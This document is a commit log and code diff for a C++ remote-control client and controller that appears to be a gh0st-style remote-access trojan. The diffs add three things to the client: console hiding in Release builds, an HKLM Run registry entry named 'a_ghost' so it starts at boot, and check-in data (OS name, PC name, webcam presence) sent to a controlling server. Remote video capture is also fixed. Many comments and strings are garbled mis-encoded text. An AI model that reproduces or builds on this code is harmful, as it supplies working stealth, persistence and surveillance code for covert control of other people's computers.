6 Commits

Author SHA1 Message Date
yuanyuanxiang
1f03c14fee 修复操作系统上报不准确的问题
主控端和受控端同时修改LOGIN_INFOR结构,修复了受控端上报的操作系统信息不准确的问题。
2019-03-29 10:40:08 +08:00
yuanyuanxiang
188d5cd24a 无重要更新
新增Release模式编译后控制台运行时不可见,新增TestRun向注册表写入开机自启动项。
2019-03-25 22:25:14 +08:00
yuanyuanxiang
b8ab695e5e 修改rc文件
将"2015Remote.rc"的一个光标文件"4.cur"的路径由绝对路径改为相对路径。
2019-03-24 21:47:46 +08:00
yuanyuanxiang
74c4266eb7 发布V1.0.0.4 2019-02-04 17:49:59 +08:00
yuanyuanxiang
fd62f33e60 非代码修改
清理垃圾注释、整理不良排版,对代码略有改动。
2019-02-04 14:49:11 +08:00
yuanyuanxiang
1e7cbcbf5c 解决打开远程视频卡住的问题 2019-01-26 14:50:59 +08:00
18 changed files with 281 additions and 130 deletions

View File

@@ -152,4 +152,28 @@
2019.1.26 2019.1.26
发布V1.0.0.3。 1、发布V1.0.0.3。
2、修复Release模式打不开远程视频或打开视频时画面卡住的问题问题出在CCaptureVideo GetDIB。
2019.2.4
清理垃圾注释、整理不良排版,对代码略有改动。
遗留问题:文件管理功能无效、主控端随机崩溃。因此有必要将文件管理的功能屏蔽。
发布V1.0.0.4。
2019.3.24
1、将"2015Remote.rc"的一个光标文件"4.cur"的路径由绝对路径改为相对路径。
2、新增Release模式编译后控制台运行时不可见新增TestRun向注册表写入开机自启动项。
2019.3.29
1、主控端和受控端同时修改LOGIN_INFOR结构修复了受控端上报的操作系统信息不准确的问题。
2、发布V1.0.0.5。
注意:此次更新后的主控端需要和受控端匹配使用,否则可能出现问题。

View File

@@ -28,7 +28,7 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObj
} }
BYTE bToken = TOKEN_AUDIO_START; BYTE bToken = TOKEN_AUDIO_START;
m_ClientObject->OnServerSending((char*)&bToken, 1); m_ClientObject->OnServerSending((char*)&bToken, 1);
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
szPacket = NULL; szPacket = NULL;

View File

@@ -41,7 +41,6 @@ CCaptureVideo::~CCaptureVideo()
CoUninitialize() ; CoUninitialize() ;
} }
//!!<21>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD>
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress) HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
{ {
printf("CCaptureVideo call Open\n"); printf("CCaptureVideo call Open\n");
@@ -256,13 +255,16 @@ void CCaptureVideo::SendEnd() //
LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize) LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
{ {
BYTE *szBuffer = NULL; BYTE *szBuffer = NULL;
int n = 200; // 10sû<73>л<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>򷵻<EFBFBD>NULL
do do
{ {
if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬ if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬
{ {
szBuffer = mCB.GetNextScreen(dwSize); if (szBuffer = mCB.GetNextScreen(dwSize)) //<2F>Ƿ<EFBFBD><C7B7><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>Ƶ
break;
} }
} while (szBuffer==NULL && !m_bExit); Sleep(50);
} while (!m_bExit && --n);
return szBuffer; return szBuffer;
} }

View File

@@ -20,6 +20,12 @@ DWORD WINAPI StartClient(LPVOID lParam);
enum { E_RUN, E_STOP } status; enum { E_RUN, E_STOP } status;
// <20><><EFBFBD>ؿ<EFBFBD><D8BF><EFBFBD>̨
// <20>ο<EFBFBD><CEBF><EFBFBD>https://blog.csdn.net/lijia11080117/article/details/44916647
// step1: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<22>߼<EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD>ΪmainCRTStartup
// step2: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"ϵͳ"<22><><EFBFBD><EFBFBD>ϵͳΪ<CDB3><CEAA><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD>
BOOL CALLBACK callback(DWORD CtrlType) BOOL CALLBACK callback(DWORD CtrlType)
{ {
if (CtrlType == CTRL_CLOSE_EVENT) if (CtrlType == CTRL_CLOSE_EVENT)
@@ -85,7 +91,7 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
return TRUE; return TRUE;
} }
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ghost
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort) extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
{ {
memcpy(g_szServerIP,szServerIP,strlen(szServerIP)); memcpy(g_szServerIP,szServerIP,strlen(szServerIP));

View File

@@ -1,6 +1,118 @@
#include "StdAfx.h" #include "StdAfx.h"
#include "LoginServer.h" #include "LoginServer.h"
#include "Common.h" #include "Common.h"
#include <string>
/************************************************************************
---------------------
<EFBFBD><EFBFBD><EFBFBD>ߣ<EFBFBD>IT1995
<EFBFBD><EFBFBD>Դ<EFBFBD><EFBFBD>CSDN
ԭ<EFBFBD>ģ<EFBFBD>https://blog.csdn.net/qq78442761/article/details/64440535
<EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>£<EFBFBD>ת<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӣ<EFBFBD>
<EFBFBD>޸<EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD>2019.3.29<EFBFBD><EFBFBD>Ԭ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޸<EFBFBD>
************************************************************************/
std::string getSystemName()
{
std::string vname("δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ");
//<2F><><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>Ϊwin8.1<EFBFBD><EFBFBD>win10
typedef void(__stdcall*NTPROC)(DWORD*, DWORD*, DWORD*);
HINSTANCE hinst = LoadLibrary("ntdll.dll");
DWORD dwMajor, dwMinor, dwBuildNumber;
NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers");
proc(&dwMajor, &dwMinor, &dwBuildNumber);
if (dwMajor == 6 && dwMinor == 3) //win 8.1
{
vname = "Windows 8.1";
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
return vname;
}
if (dwMajor == 10 && dwMinor == 0) //win 10
{
vname = "Windows 10";
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
return vname;
}
//<2F><><EFBFBD><EFBFBD><E6B2BB><EFBFBD>ж<EFBFBD>Win Server<65><72><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>˻<EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5>Ļ<EFBFBD><C4BB>ӣ<EFBFBD><D3A3><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//<2F>ж<EFBFBD>win8.1<EFBFBD><EFBFBD><EFBFBD>µİ汾
SYSTEM_INFO info; //<2F><>SYSTEM_INFO<46><EFBFBD>ж<EFBFBD>64λAMD<4D><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
GetSystemInfo(&info); //<2F><><EFBFBD><EFBFBD>GetSystemInfo<66><6F><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
OSVERSIONINFOEX os;
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
if (GetVersionEx((OSVERSIONINFO *)&os))
{
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ汾<DDB0><E6B1BE>Ϣ<EFBFBD>жϲ<D0B6><CFB2><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD>
switch (os.dwMajorVersion)
{ //<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD><E6B1BE>
case 4:
switch (os.dwMinorVersion)
{ //<2F>жϴΰ汾<CEB0><E6B1BE>
case 0:
if (os.dwPlatformId == VER_PLATFORM_WIN32_NT)
vname ="Windows NT 4.0"; //1996<39><36>7<EFBFBD>·<EFBFBD><C2B7><EFBFBD>
else if (os.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
vname = "Windows 95";
break;
case 10:
vname ="Windows 98";
break;
case 90:
vname = "Windows Me";
break;
}
break;
case 5:
switch (os.dwMinorVersion)
{ //<2F>ٱȽ<D9B1>dwMinorVersion<6F><6E>ֵ
case 0:
vname = "Windows 2000"; //1999<39><39>12<31>·<EFBFBD><C2B7><EFBFBD>
break;
case 1:
vname = "Windows XP"; //2001<30><31>8<EFBFBD>·<EFBFBD><C2B7><EFBFBD>
break;
case 2:
if (os.wProductType == VER_NT_WORKSTATION &&
info.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
vname = "Windows XP Professional x64 Edition";
else if (GetSystemMetrics(SM_SERVERR2) == 0)
vname = "Windows Server 2003"; //2003<30><33>3<EFBFBD>·<EFBFBD><C2B7><EFBFBD>
else if (GetSystemMetrics(SM_SERVERR2) != 0)
vname = "Windows Server 2003 R2";
break;
}
break;
case 6:
switch (os.dwMinorVersion)
{
case 0:
if (os.wProductType == VER_NT_WORKSTATION)
vname = "Windows Vista";
else
vname = "Windows Server 2008"; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
break;
case 1:
if (os.wProductType == VER_NT_WORKSTATION)
vname = "Windows 7";
else
vname = "Windows Server 2008 R2";
break;
case 2:
if (os.wProductType == VER_NT_WORKSTATION)
vname = "Windows 8";
else
vname = "Windows Server 2012";
break;
}
break;
default:
vname = "δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ";
}
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
}
else
printf_s("<EFBFBD><EFBFBD><EFBFBD>ȡʧ<EFBFBD><EFBFBD>\n");
return vname;
}
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed) int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
@@ -8,8 +120,7 @@ int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
LOGIN_INFOR LoginInfor = {0}; LOGIN_INFOR LoginInfor = {0};
LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼ LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
//<2F><><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>ϵͳ<CFB5><CDB3>Ϣ //<2F><><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>ϵͳ<CFB5><CDB3>Ϣ
LoginInfor.OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str());
GetVersionEx((OSVERSIONINFO *)&LoginInfor.OsVerInfoEx); // ע<><D7A2>ת<EFBFBD><D7AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//<2F><><EFBFBD><EFBFBD>PCName //<2F><><EFBFBD><EFBFBD>PCName
char szPCName[MAX_PATH] = {0}; char szPCName[MAX_PATH] = {0};

View File

@@ -7,9 +7,9 @@
typedef struct _LOGIN_INFOR typedef struct _LOGIN_INFOR
{ {
BYTE bToken; // = 1 //<EFBFBD><EFBFBD>½<EFBFBD><EFBFBD>Ϣ BYTE bToken; // ȡ1<EFBFBD><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD><EFBFBD>Ϣ
OSVERSIONINFOEX OsVerInfoEx; // <20><EFBFBD><E6B1BE>Ϣ char OsVerInfoEx[sizeof(OSVERSIONINFOEX)];// <20><EFBFBD><E6B1BE>Ϣ
DWORD dwCPUMHz; // CPU<50><55>Ƶ DWORD dwCPUMHz; // CPU<50><55>Ƶ
IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL bWebCamIsExist; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ BOOL bWebCamIsExist; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ

View File

@@ -87,7 +87,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
// //
VS_VERSION_INFO VERSIONINFO VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,0,3 FILEVERSION 1,0,0,5
PRODUCTVERSION 1,0,0,1 PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL FILEFLAGSMASK 0x3fL
#ifdef _DEBUG #ifdef _DEBUG
@@ -105,7 +105,7 @@ BEGIN
BEGIN BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST" VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.0.3" VALUE "FileVersion", "1.0.0.5"
VALUE "InternalName", "ServerDl.dll" VALUE "InternalName", "ServerDl.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2025" VALUE "LegalCopyright", "Copyright (C) 2019-2025"
VALUE "OriginalFilename", "ServerDl.dll" VALUE "OriginalFilename", "ServerDl.dll"

View File

@@ -49,6 +49,7 @@
</ClCompile> </ClCompile>
<Link> <Link>
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
</Link> </Link>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
@@ -65,6 +66,8 @@
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding> <EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences> <OptimizeReferences>true</OptimizeReferences>
<SubSystem>Windows</SubSystem>
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
</Link> </Link>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemGroup> <ItemGroup>

View File

@@ -60,6 +60,9 @@
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries> <IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
<EntryPointSymbol>
</EntryPointSymbol>
<SubSystem>Console</SubSystem>
</Link> </Link>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
@@ -79,6 +82,8 @@
<OptimizeReferences>true</OptimizeReferences> <OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions> <AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
<SubSystem>Windows</SubSystem>
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
</Link> </Link>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemGroup> <ItemGroup>

View File

@@ -19,15 +19,50 @@ struct CONNECT_ADDRESS
int iPort; int iPort;
}g_ConnectAddress={0x1234567,"",0}; }g_ConnectAddress={0x1234567,"",0};
int main() /**
* @brief <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @param[in] *sPath ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
* @param[in] *sNmae ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @return <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @details Win7 64λ<34><CEBB><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD>\n
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
* @note <20>״<EFBFBD><D7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Թ<EFBFBD><D4B9><EFBFBD>ԱȨ<D4B1><C8A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EBBFAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
*/
BOOL SetSelfStart(const char *sPath, const char *sNmae)
{ {
// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
// <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
HKEY hKey = NULL;
LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
if(lRet != ERROR_SUCCESS)
return FALSE;
lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
// <20>ر<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
RegCloseKey(hKey);
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
return lRet == ERROR_SUCCESS;
}
int main(int argc, const char *argv[])
{
if(!SetSelfStart(argv[0], "a_ghost"))
{
std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>.\n";
}
char path[_MAX_PATH], *p = path; char path[_MAX_PATH], *p = path;
GetModuleFileNameA(NULL, path, sizeof(path)); GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p; while (*p) ++p;
while ('\\' != *p) --p; while ('\\' != *p) --p;
strcpy(p+1, "ServerDll.dll"); strcpy(p+1, "ServerDll.dll");
HMODULE hDll = LoadLibraryA(path); HMODULE hDll = LoadLibraryA(path);
typedef void (*TestRun)(char* strHost,int nPort ); typedef void (*TestRun)(char* strHost,int nPort);
TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL; TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL;
stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL; stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL;
bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL; bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL;

Binary file not shown.

View File

@@ -26,7 +26,9 @@
#define UM_ICONNOTIFY WM_USER+100 #define UM_ICONNOTIFY WM_USER+100
// <20>ļ<EFBFBD><C4BC>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E9A3A8>Ϊ<EFBFBD><CEAA><EFBFBD>׵<EFBFBD><D7B5>³<EFBFBD><C2B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2>ԣ<EFBFBD>
std::vector<CFileManagerDlg *> v_FileDlg; std::vector<CFileManagerDlg *> v_FileDlg;
// ע<><D7A2><EFBFBD><EFBFBD><EFBFBD>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E9A3A8>Ϊ<EFBFBD><CEAA><EFBFBD>׵<EFBFBD><D7B5>³<EFBFBD><C2B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2>ԣ<EFBFBD>
std::vector<CRegisterDlg *> v_RegDlg; std::vector<CRegisterDlg *> v_RegDlg;
enum enum
@@ -43,38 +45,37 @@ enum
typedef struct typedef struct
{ {
char* szTitle; //<2F>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> const char* szTitle; //<2F>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int nWidth; //<2F>б<EFBFBD><D0B1>Ŀ<EFBFBD><C4BF><EFBFBD> int nWidth; //<2F>б<EFBFBD><D0B1>Ŀ<EFBFBD><C4BF><EFBFBD>
}COLUMNSTRUCT; }COLUMNSTRUCT;
const int g_Column_Count_Online = 7; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COLUMNSTRUCT g_Column_Data_Online[] = COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] =
{ {
{"IP", 148 }, {"IP", 148 },
{"<EFBFBD>˿<EFBFBD>", 150 }, {"<EFBFBD>˿<EFBFBD>", 64 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><>ע", 160 }, {"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><>ע", 160 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ", 128 }, {"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ", 256 },
{"CPU", 80 }, {"CPU", 80 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ", 81 }, {"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ", 72 },
{"PING", 151 } {"PING", 100 },
}; };
// <20><><EFBFBD><EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3>򡰹<EFBFBD><F2A1B0B9>ڡ<EFBFBD><DAA1>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD> CAboutDlg <20>Ի<EFBFBD><D4BB><EFBFBD> // <20><><EFBFBD><EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3>򡰹<EFBFBD><F2A1B0B9>ڡ<EFBFBD><DAA1>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD> CAboutDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
int g_Column_Count_Online = 7;
COLUMNSTRUCT g_Column_Data_Message[] = const int g_Column_Count_Message = 3; // <20>б<EFBFBD><D0B1>ĸ<EFBFBD><C4B8><EFBFBD>
COLUMNSTRUCT g_Column_Data_Message[g_Column_Count_Message] =
{ {
{"<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 200 }, {"<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 200 },
{"ʱ<EFBFBD><EFBFBD>", 200 }, {"ʱ<EFBFBD><EFBFBD>", 200 },
{"<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 490 } {"<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 490 }
}; };
int g_Column_Count_Message = 3; //<2F>б<EFBFBD><D0B1>ĸ<EFBFBD><C4B8><EFBFBD> int g_Column_Online_Width = 0;
int g_Column_Message_Width = 0;
IOCPServer *m_iocpServer = NULL;
int g_Column_Online_Width = 0;
int g_Column_Message_Width = 0;
IOCPServer *m_iocpServer = NULL;
CMy2015RemoteDlg* g_2015RemoteDlg = NULL; CMy2015RemoteDlg* g_2015RemoteDlg = NULL;
static UINT Indicators[] = static UINT Indicators[] =
@@ -114,8 +115,7 @@ END_MESSAGE_MAP()
// CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD> // CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent /*=NULL*/) CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
: CDialogEx(CMy2015RemoteDlg::IDD, pParent)
{ {
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
@@ -189,17 +189,9 @@ void CMy2015RemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)
case WM_LBUTTONDOWN: case WM_LBUTTONDOWN:
case WM_LBUTTONDBLCLK: case WM_LBUTTONDBLCLK:
{ {
if (!IsWindowVisible()) ShowWindow(IsWindowVisible() ? SW_HIDE : SW_SHOW);
{
ShowWindow(SW_SHOW);
}
else
{
ShowWindow(SW_HIDE);
}
break; break;
} }
case WM_RBUTTONDOWN: case WM_RBUTTONDOWN:
{ {
CMenu Menu; CMenu Menu;
@@ -218,8 +210,7 @@ void CMy2015RemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)
VOID CMy2015RemoteDlg::CreateSolidMenu() VOID CMy2015RemoteDlg::CreateSolidMenu()
{ {
HMENU hMenu; //SDK C MFC C++ HMENU hMenu = LoadMenu(NULL,MAKEINTRESOURCE(IDR_MENU_MAIN)); //<2F><><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD>Դ
hMenu = LoadMenu(NULL,MAKEINTRESOURCE(IDR_MENU_MAIN)); //<2F><><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD>Դ
::SetMenu(this->GetSafeHwnd(),hMenu); //Ϊ<><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ò˵<C3B2> ::SetMenu(this->GetSafeHwnd(),hMenu); //Ϊ<><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ò˵<C3B2>
::DrawMenuBar(this->GetSafeHwnd()); //<2F><>ʾ<EFBFBD>˵<EFBFBD> ::DrawMenuBar(this->GetSafeHwnd()); //<2F><>ʾ<EFBFBD>˵<EFBFBD>
} }
@@ -241,7 +232,7 @@ VOID CMy2015RemoteDlg::CreatStatusBar()
VOID CMy2015RemoteDlg::CreateNotifyBar() VOID CMy2015RemoteDlg::CreateNotifyBar()
{ {
#if SHOW_NOTIFY #if INDEPENDENT
m_Nid.cbSize = sizeof(NOTIFYICONDATA); //<2F><>С<EFBFBD><D0A1>ֵ m_Nid.cbSize = sizeof(NOTIFYICONDATA); //<2F><>С<EFBFBD><D0A1>ֵ
